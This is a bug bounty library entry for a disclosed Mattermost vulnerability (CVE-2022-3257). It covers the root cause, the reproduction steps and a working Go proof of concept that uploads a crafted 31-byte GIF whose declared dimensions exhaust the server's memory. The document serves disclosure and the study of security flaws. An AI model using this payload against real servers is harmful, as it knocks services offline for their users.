# DOS: out of memory from gif through upload api

Crafted 31-byte GIF with huge declared dimensions sent via upload API causes gif.DecodeAll to allocate >4GB RAM, killing the Mattermost server.

- Payout: $150
- Severity: low
- Program: Mattermost
- Found by (vendor credit): Philippe Antoine (catenacyber)
- Found by: catenacyber
- Disclosed: 2022-09-21
- CVE: CVE-2022-3257
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1620170
- Library page: https://bugbountylibrary.com/r/h1%3A1620170
- Tags: area:web domain:web impact:dos kind:bounty platform:hackerone sev:low tech:go technique:incomplete-fix technique:source-review vuln:dos vuln:file-upload

**Target:** Mattermost server upload API (CreateUpload/UploadData endpoints)
**Root cause:** The upload-data path calls GetInfoForBytes -> gif.DecodeAll without the preprocessImage dimension/size guard applied on the api/v4/files route, so attacker-controlled GIF dimensions drive unbounded allocation.
**Steps:**
1. Run mattermost-preview with `-m=4G` memory limit.
2. Log in and obtain a valid channel id.
3. Call `CreateUpload` with filename `oom.gif`, FileSize 31.
4. Call `UploadData` with the 31-byte GIF header declaring dimensions `0xf82e` x `0xffff` (`47 49 46 38 39 61 2e f8 ff ff ...`).
5. Server calls gif.DecodeAll, allocates >4GB, container OOM-killed.
**How found:** Code reading of the upload flow: noticed GetInfoForBytes -> gif.DecodeAll is reached via App.UploadData/doUploadData without the preprocessImage call that the api/v4/files route performs, then crafted a minimal GIF to confirm.
**Exploitation:** Authenticated user uploads a tiny GIF whose header declares enormous width/height; the decode path allocates a full frame buffer proportional to dimensions, exhausting server memory and crashing the process.
**Insight:** When two upload paths exist, diff their preprocessing: the API-v4 files route guarded image dimensions but the newer upload-session path skipped it, so image decoders ran on raw attacker dimensions.

## Proof of concept (copied exactly from the original report)

**Go PoC uploading crafted GIF via upload API**

```
package main

import (
	"bytes"
	"fmt"
	"github.com/mattermost/mattermost-server/v5/model"
)

func main() {
	Client := model.NewAPIv4Client("http://localhost:8065/")
	Client.Login("toto", "tototo")
	us := &model.UploadSession{
		ChannelId: "5dtj9hf89ifap8imigbzjc7wjo",
		Filename:  "oom.gif",
		FileSize:  31,
	}
	us, response := Client.CreateUpload(us)
	fmt.Printf("lol %s %#+v\n", us, response)
	data := []byte{0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x2e, 0xf8, 0xff, 0xff, 0xf, 0x18, 0x18, 0x2c, 0x7f, 0x20, 0x0, 0x0, 0x0, 0xa0, 0xff, 0xff, 0xff, 0xd4, 0x9a, 0xf0, 0xb4, 0x8, 0x35, 0x4, 0x0}
	info, err2 := Client.UploadData(us.Id, bytes.NewReader(data))
	fmt.Printf("lol %s %#+v\n", err2, info)
}
```

